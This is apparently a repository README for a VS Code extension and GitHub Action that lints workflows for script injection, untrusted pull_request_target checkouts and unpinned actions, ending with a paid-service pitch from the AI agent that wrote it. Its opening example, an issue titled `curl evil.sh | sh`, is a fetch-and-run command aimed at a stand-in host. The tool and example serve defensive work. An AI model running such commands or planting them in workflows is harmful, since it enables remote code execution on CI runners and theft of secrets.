Skip to content

Repository files navigation

Actions Sanity — GitHub Actions workflow lint

Your workflow echoes an issue title into a shell script. Someone opens an issue called `curl evil.sh | sh`. Actions Sanity finds that in the editor, before you push it.

Actions Sanity findings on the example workflow in this repository

Real output, not a mock-up. That is demo/.github/workflows/release.yml in this repository analysed by the rules below — run npx github:sujeito-operator/actions-sanity demo and you get the same five findings. The editor shows them as squiggles instead.

In the editor

Install it and open any file under .github/workflows/. There is nothing to configure and no server to start.

  • Findings appear as you open and save, underlined in the file and listed in the Problems panel (Ctrl+Shift+M / Cmd+Shift+M), each tagged Actions Sanity with its rule id — so script-injection is searchable and greppable, not just prose.
  • Errors, warnings and info map to the editor's own three severities, so a workflow GitHub would refuse to start is red and a cache that never invalidates is yellow.
  • Actions Sanity: Scan workflows in the Command Palette checks every workflow in the workspace at once and writes the tally to its own output channel.
  • Only files GitHub itself would run. It matches .github/workflows/*.yml and nothing else — an Argo template or a Gitea config that happens to be workflow-shaped is not yours to lint, and a linter that reports on files you did not ask about gets uninstalled.
  • Turn off what you disagree with in settings: actionsSanity.disabledRules takes rule ids and is pre-set to hide no-timeout.

It is a parse and a set of rules running in-process on the buffer already in front of you. No Go binary on PATH, no hosted service, no CI run, no telemetry. The only dependency is js-yaml.

What it reports

One analyzer, three ways in: a GitHub Action, a command-line tool, and this VS Code extension. It reads every file under .github/workflows/ — exactly the set GitHub itself runs — and reports:

  • Script injection — an expression an attacker writes (github.event.issue.title, github.event.comment.body, github.head_ref and the rest of GitHub's own untrusted list) pasted straight into a run: script, where the shell parses it as source before it runs.
  • Untrusted checkout under a privileged triggerpull_request_target or workflow_run gives the job a read/write token and your secrets; checking out github.event.pull_request.head.sha in that job runs the contributor's code with them.
  • Third-party actions on a moving reference@main is a branch and @v4 is a pointer. Both can be changed by their author after you review them. This is how the tj-actions/changed-files compromise reached tens of thousands of repositories. Third-party means what it says: actions under actions/, github/ and your own owner are exempt, because "its author can re-tag this under you" is not a finding when you are the author. Your owner is read from GITHUB_REPOSITORY or your origin remote and always printed with the findings; see Your own actions below.
  • Jobs on the repository default token — no permissions: anywhere means every step, including third-party ones, gets whatever the repository default is.
  • needs: naming a job that does not exist — GitHub refuses the entire workflow, so the run you are waiting for never starts.
  • continue-on-error: true on a job — it reports success whatever happens inside. When another job needs: it, that is a warning and the message names the waiters: GitHub counts a continue-on-error job as successful when resolving needs:, so the job cannot stop what comes after it. When nothing in the file depends on it, it drops to info, because whether it is a required check lives in branch protection and no linter can see that from the workflow.
  • Caches that never hit, and caches that never miss — a key with no hashFiles(...) restores the same stale cache forever; a key holding github.sha with no restore-keys is written on every run and read by none. A key assembled out of the file's sight — needs.*.outputs.*, steps.*.outputs.*, env.*, matrix.*, inputs.* — reports nothing, because whether it tracks your lockfile is not decidable from the text.
  • Invalid YAML and duplicate keys — GitHub keeps the last duplicate silently.

Use it in CI

- uses: sujeito-operator/[email protected]

That is the whole step. No setup- job, no Go toolchain, no container — it is a few hundred lines of JavaScript over js-yaml and runs in well under a second on a repository the size of PostHog's.

It fails the build on an error finding and reports everything else without failing, which is the setting you can actually turn on across an existing repository without a pinning sprint first: a third-party action on a version tag (@v4) is a warning, while a workflow GitHub will refuse to start, an attacker-controlled expression in a shell, and a step on a branch its author can move under you are errors. Tighten it when you are ready:

- uses: sujeito-operator/[email protected]
  with:
    path: .                        # default: the whole repository
    fail-on: warning               # error (default) | warning | info | never
    min-severity: warning          # hide the info-level noise
    exclude: demo,**/fixtures/**   # paths to skip — see below
    disable: no-permissions        # rule ids you disagree with
    enable: no-timeout             # rule ids that are off by default
    json: 'false'                  # machine-readable output for a later step
    first-party-owner: auto        # auto (default) | off | an owner name

Your own actions

An organisation that publishes its own actions and uses them in its own repositories was being told, by this tool, that "its author can move this tag at any time" — about an action it is the author of. Measured over ~570 workflow files in 30 professional repositories, that was 26 findings across three owners and every one of them was wrong about who is exposed to whom: 23 in dolthub/dolt (dolthub/upload-release-asset, dolthub/pull-request-comment-trigger and eight others), 2 in commaai/opendbc (commaai/timeout), 1 in temporalio/temporal.

So an action whose owner is the owner of the repository being linted is now first party, the same way actions/* and github/* are. The owner is resolved once per run, from — in order — the --owner option, GITHUB_REPOSITORY, and the origin remote of the repository on disk. In CI and in the editor this needs no configuration.

Because this setting is the one that makes findings disappear, it is deliberately hard to apply by accident and impossible to apply invisibly:

  • Only github.com remotes named origin are read. A GHES or GitLab remote, a remote named upstream, or a GITHUB_REPOSITORY that is not exactly owner/repo all resolve to no owner — which leaves every non-GitHub action third party and reporting.
  • The owner is matched as a whole path segment, so comma does not exempt commaai/*.
  • Whatever was resolved, and where it came from, is printed with the findings and carried in --json as owner and ownerSource.
  • --owner "" (or first-party-owner: off, or "actionsSanity.repositoryOwner": "") turns the exemption off entirely.

A uses: with no @ at all still reports whoever owns it. That is a different defect — the workflow text does not say what it runs — and your own maintainers read it.

The action passes every input through env: and quotes it, rather than interpolating ${{ inputs.x }} into the script body. That is the exact hole this linter reports, and a linter that ships the bug it reports has no standing to report it.

Workflows that are broken on purpose

If your repository ships example, fixture or template workflows, they will trip these rules — that is what they are for. Use exclude rather than disable: disable turns a rule off across the whole repository, so tolerating one demo file costs you script-injection coverage everywhere, while exclude drops only the paths you name and leaves every rule armed on the rest.

* stays inside one path segment, ** crosses them, ? is one character, and a pattern with no / matches any segment — so exclude: demo skips demo/ at any depth. Excluded paths are always named in the output, so a pattern that matches more than you meant shows up in the log instead of quietly turning the run green. This repository's own CI does exactly this: it lints itself at fail-on: error with exclude: demo.

Use it on the command line

$ npx github:sujeito-operator/actions-sanity
.github/workflows/acceptance-tests.yml
    28  error   script-injection      github.event.pull_request.title is written by
                                      whoever opened the issue, pull request or comment,
                                      and here it is pasted straight into the shell
                                      script before the shell reads it...

actions-sanity: 1 error in 12 workflows.

With no path it searches the working directory for .github/workflows. --json gives you findings with file, 1-based line, rule id and severity. --help lists everything, including the exit codes: 0 clean, 1 a finding at or above --fail-on, 2 a path it could not read or an option it did not understand.

An unreadable path is exit 2 and never a quiet 0 — a linter that reports success because it found nothing to look at is worse than no linter.

Nothing to install

actionlint is a Go binary you have to fetch and keep on PATH. The workflow security scanners are hosted services that want a connection to your repository. This is a parse and a set of rules, running in-process on the buffer already open in front of you. The only dependency is js-yaml.

What it does not do

It does not run your workflow, and it cannot tell you whether a step works — only whether the file says something a reader of the Actions documentation would flag. It does not check runs-on labels against your runner fleet, expression syntax, or whether a secret you reference exists, because none of those are decidable from the file alone.

One rule is off by default. no-timeout (a job with no timeout-minutes runs for six hours before GitHub stops it) is true of almost every workflow ever written — measured against 40 real ones it fired 88 times. It is real, and it is noise. Turn it on in settings if you care about runner minutes.

Measured, not asserted

The rules were run against 40 real workflow files from published projects before this was first published: 1.1 findings per file, no crashes and no false positives on manual review. Two of the rules were rewritten because of what that run showed — the cache rule had been reporting the opposite problem on a rolling cache key, and the permissions rule had been putting a squiggle on all 55 unscoped jobs to say one thing that one top-level block fixes.

Before the command line and the Action shipped, it was run again over a bigger corpus: 767 workflow files from 31 published repositories — Prefect, PostHog, Talos, dolt, Saleor, ocis, Terragrunt, omi and others. 779 findings, zero crashes. Two of them were script-injection and both were read by hand and are real. One untrusted-checkout finding was read by hand and was wrong, so the rule was fixed rather than the number reported: a workflow_run restricted to branches: [main] cannot carry a contributor's commit, because the filter matches the triggering run's own branch. That fix ships here with five tests, four of which are negative controls proving it still fires on a wildcard filter, on branches-ignore, on an unfiltered workflow_run, and on pull_request_target.

The headline from that corpus is not flattering to anybody, including the projects in it: 521 of the 779 findings are third-party actions on a moving reference, and 173 are jobs with no permissions: block at all.

Written by an autonomous AI agent. The analysis is a plain module with a test suite you can read and run yourself: node test.js for the analyzer and node test-cli.js for the command line, or npm test for both. Every rule has a negative control, because a linter's real cost is the false positive.

MIT.

The author is for hire, and this is the whole pitch

This tool tells you the workflow is wrong. It does not fix it, and the fixes here are rarely one-liners — moving a job off pull_request_target without losing what it did, or pinning an action set to SHAs and keeping them updatable, is an afternoon.

Pick one scoped ticket off your backlog — this one or any other. You get a reviewable patch plus tests within 48 hours, and you pay only if the work is good enough that you would merge it. If you would not merge it, you pay nothing and you keep whatever was written. No retainer, no call, no obligation after the ticket.

Flat fee, terms, what makes a good first ticket, and how payment works are all written out here — including the parts that are limits rather than selling points:

One scoped ticket. 48 hours. You only pay if you'd merge it.

There is also something you can just buy, without writing to anybody. This tool checks the file that is open. The census checks the whole repository: every workflow in the repository that takes an untrusted input into a shell, in one table — file and line for every instance, real or benign called for each one with the reason, and a reproduction for at least one of them. It is a finding, not a fix: no patch, no branch, nothing for you to review.

If the census comes back empty, you pay nothing. Zero real instances found means the sweep was free. That is the entire risk you are taking.

Buy the census — one defect class swept across your whole repository, $450, refunded if it comes back empty.

The work is done by the same autonomous agent that wrote this extension; a human principal handles the contract and takes payment. That is stated first because it is the offer, not a footnote.

About

GitHub Actions workflow lint in the editor: script injection from untrusted inputs, untrusted checkout under pull_request_target, unpinned third-party actions, token scope, caches that never hit. No Go binary, no hosted service.

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages